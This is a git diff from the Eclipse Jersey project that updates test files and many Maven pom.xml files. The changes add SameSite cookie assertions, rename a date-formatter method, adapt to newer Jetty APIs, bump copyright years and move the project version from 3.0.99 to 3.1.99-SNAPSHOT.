@@ -206,6 +206,12 @@ cookie = new NewCookie("fred", "flintstone", null, null, "a modern stonage family", 60, false); expResult = "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60"; assertEquals(expResult, cookie.toString()); + + cookie = new NewCookie("fred", "flintstone", null, null, 1, + "a modern stonage family", 60, null, false, false, + NewCookie.SameSite.STRICT); + expResult = "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60;SameSite=Strict"; + assertEquals(expResult, cookie.toString()); } @Test @@ -228,6 +234,16 @@ assertEquals(1, cookie.getVersion()); assertEquals(60, cookie.getMaxAge()); assertTrue(cookie.isSecure()); + + cookie = NewCookie.valueOf( + "fred=flintstone;Version=1;Comment=\"a modern stonage family\";Max-Age=60;Secure;SameSite=None"); + assertEquals("fred", cookie.getName()); + assertEquals("flintstone", cookie.getValue()); + assertEquals("a modern stonage family", cookie.getComment()); + assertEquals(1, cookie.getVersion()); + assertEquals(60, cookie.getMaxAge()); + assertTrue(cookie.isSecure()); + assertEquals(NewCookie.SameSite.NONE, cookie.getSameSite()); } }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java index c931809..0595890 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/FormDataContentDispositionTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -45,7 +45,7 @@ .modificationDate(date).readDate(date).size(1222).build(); assertFormDataContentDisposition(contentDisposition, date); try { - final String dateString = HttpDateFormat.getPreferredDateFormat().format(date); + final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date); final String header = contentDispositionType + ";filename=\"test.file\";creation-date=\"" + dateString + "\";modification-date=\"" + dateString + "\";read-date=\"" + dateString + "\";size=1222" + ";name=\"testData\""; @@ -92,7 +92,7 @@ final FormDataContentDisposition contentDisposition = FormDataContentDisposition.name("testData") .fileName("test.file").creationDate(date).modificationDate(date) .readDate(date).size(1222).build(); - final String dateString = HttpDateFormat.getPreferredDateFormat().format(date); + final String dateString = HttpDateFormat.getPreferredDateFormatter().format(date); final String header = contentDispositionType + "; filename=\"test.file\"; creation-date=\"" + dateString + "\"; modification-date=\"" + dateString + "\"; read-date=\"" + dateString + "\"; size=1222" + "; name=\"testData\"";
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java index 63305db..4e1bfd3 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/api/HttpHeaderTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -100,8 +100,8 @@ @Test public void testDateParsing() throws ParseException { final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT"; - final String date_RFC1036 = "Sunday, 06-Nov-94 08:49:37 GMT"; - final String date_ANSI_C = "Sun Nov 6 08:49:37 1994"; + final String date_RFC1036 = "Sunday, 07-Nov-04 08:49:37 GMT"; + final String date_ANSI_C = "Sun Nov 6 08:49:37 1994"; HttpHeaderReader.readDate(date_RFC1123); HttpHeaderReader.readDate(date_RFC1036); @@ -113,7 +113,7 @@ final String date_RFC1123 = "Sun, 06 Nov 1994 08:49:37 GMT"; final Date date = HttpHeaderReader.readDate(date_RFC1123); - final String date_formatted = HttpDateFormat.getPreferredDateFormat().format(date); + final String date_formatted = HttpDateFormat.getPreferredDateFormatter().format(date); assertEquals(date_RFC1123, date_formatted); }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java index f67d538..54bbf12 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/Jersey2462Test.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -174,13 +174,13 @@ // let's also test some method calls int flags = 0; - if ("/echo".equals(jettyRequest.get().getPathInfo())) { + if ("/echo".equals(jettyRequest.get().getHttpURI().getPath())) { flags += 1; } if (!jettyResponse.get().isCommitted()) { flags += 10; } - final String header = jettyRequest.get().getHeader(REQUEST_NUMBER); + final String header = jettyRequest.get().getHeaders().get(REQUEST_NUMBER); ctx.setEntityStream(new ByteArrayInputStream(("filtered-" + flags + "-" + header).getBytes())); }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java index b1f5cfc..f6bb0b7 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/container/JerseyContainerTest.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -54,10 +54,10 @@ protected static List<TestContainerFactory> listContainerFactories(TestContainerFactory... factories) { final JdkVersion version = JdkVersion.getJdkVersion(); - boolean isJDK8 = version.getMajor() == 1; + boolean isJDKGreaterThanOrEqualTo17 = version.getMajor() >= 17; final List<TestContainerFactory> filtered = new LinkedList<>(); for (TestContainerFactory factory : factories) { - if (!isJDK8 || !JettyTestContainerFactory.class.isInstance(factory)) { + if (isJDKGreaterThanOrEqualTo17 || !JettyTestContainerFactory.class.isInstance(factory)) { filtered.add(factory); } }
diff --git a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java index 2175c65..2c4cc35 100644 --- a/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java +++ b/tests/e2e/src/test/java/org/glassfish/jersey/tests/e2e/inject/SingleRequestScopeInjectionTest.java
@@ -38,7 +38,6 @@ import jakarta.ws.rs.core.GenericType; import java.io.IOException; -import java.util.concurrent.atomic.AtomicInteger; import static org.junit.jupiter.api.Assertions.assertEquals;
diff --git a/tests/integration/asm/pom.xml b/tests/integration/asm/pom.xml index 096e38c..97038df 100644 --- a/tests/integration/asm/pom.xml +++ b/tests/integration/asm/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>project</artifactId> <groupId>org.glassfish.jersey.tests.integration</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/async-jersey-filter/pom.xml b/tests/integration/async-jersey-filter/pom.xml index c9c3d4f..7f764d0 100644 --- a/tests/integration/async-jersey-filter/pom.xml +++ b/tests/integration/async-jersey-filter/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>async-jersey-filter</artifactId> @@ -49,7 +49,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> </dependencies> @@ -65,8 +64,8 @@ <artifactId>maven-failsafe-plugin</artifactId> </plugin> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml index 139ff13..81543cd 100644 --- a/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-beanvalidation-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-beanvalidation-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml index fea5a22..130e45d 100644 --- a/tests/integration/cdi-integration/cdi-client-on-server/pom.xml +++ b/tests/integration/cdi-integration/cdi-client-on-server/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-client-on-server</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-client/pom.xml b/tests/integration/cdi-integration/cdi-client/pom.xml index 888bd34..52e8ad0 100644 --- a/tests/integration/cdi-integration/cdi-client/pom.xml +++ b/tests/integration/cdi-integration/cdi-client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-client</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml index 18e70af..2e7bf4d 100644 --- a/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-ejb-test-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-ejb-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml index 4f94568..e64c956 100644 --- a/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-iface-with-non-jaxrs-impl-test-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-iface-with-non-jaxrs-impl-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-log-check/pom.xml b/tests/integration/cdi-integration/cdi-log-check/pom.xml index 4733e26..f912ca6 100644 --- a/tests/integration/cdi-integration/cdi-log-check/pom.xml +++ b/tests/integration/cdi-integration/cdi-log-check/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-log-check</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml index 29405b1..9282f51 100644 --- a/tests/integration/cdi-integration/cdi-manually-bound/pom.xml +++ b/tests/integration/cdi-integration/cdi-manually-bound/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2019, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>cdi-integration-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml index e49c77f..ec0219a 100644 --- a/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml +++ b/tests/integration/cdi-integration/cdi-multimodule/ear/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml index 2b4c741..1b2590c 100644 --- a/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml +++ b/tests/integration/cdi-integration/cdi-multimodule/lib/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/pom.xml index 034d712..6dd6323 100644 --- a/tests/integration/cdi-integration/cdi-multimodule/pom.xml +++ b/tests/integration/cdi-integration/cdi-multimodule/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-multimodule</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml index 6ae2e7f..9ad042b 100644 --- a/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml +++ b/tests/integration/cdi-integration/cdi-multimodule/war1/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent> @@ -40,7 +40,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> <dependency>
diff --git a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml index 0cc877d..a1d0f56 100644 --- a/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml +++ b/tests/integration/cdi-integration/cdi-multimodule/war2/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> <relativePath>../../pom.xml</relativePath> </parent>
diff --git a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml index 948f201..7e97d3b 100644 --- a/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-multipart-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-multipart-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml index a1e6263..6ced4c1 100644 --- a/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml +++ b/tests/integration/cdi-integration/cdi-resource-with-at-context/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion> @@ -51,7 +51,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> </dependency> <dependency> <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/tests/integration/cdi-integration/cdi-singleton/pom.xml b/tests/integration/cdi-integration/cdi-singleton/pom.xml index 7e44430..536e026 100644 --- a/tests/integration/cdi-integration/cdi-singleton/pom.xml +++ b/tests/integration/cdi-integration/cdi-singleton/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>cdi-integration-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml index 073f936..78ed68c 100644 --- a/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml +++ b/tests/integration/cdi-integration/cdi-skipping-analyzer/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2024, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <artifactId>cdi-integration-project</artifactId> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <modelVersion>4.0.0</modelVersion>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml index c37a1e6..7c7e02d 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-test-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-test-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml b/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml index 14ea61e..8d3e4b2 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/resources/META-INF/beans.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -17,4 +17,9 @@ --> -<beans/> +<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns="http://xmlns.jcp.org/xml/ns/javaee" + xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee + http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd" + bean-discovery-mode="all"> +</beans>
diff --git a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml index 14ea61e..8d3e4b2 100644 --- a/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml +++ b/tests/integration/cdi-integration/cdi-test-webapp/src/main/webapp/WEB-INF/beans.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -17,4 +17,9 @@ --> -<beans/> +<beans xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns="http://xmlns.jcp.org/xml/ns/javaee" + xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee + http://xmlns.jcp.org/xml/ns/javaee/beans_2_0.xsd" + bean-discovery-mode="all"> +</beans>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml index 174cf6a..27a1467 100644 --- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-cfg-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-with-jersey-injection-custom-cfg-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml index 2914f99..21558f9 100644 --- a/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-custom-hk2-banned-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-with-jersey-injection-custom-hk2-banned-webapp</artifactId>
diff --git a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml index f5be881..7fd53f3 100644 --- a/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml +++ b/tests/integration/cdi-integration/cdi-with-jersey-injection-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ <parent> <groupId>org.glassfish.jersey.tests.integration.cdi</groupId> <artifactId>cdi-integration-project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>cdi-with-jersey-injection-webapp</artifactId>
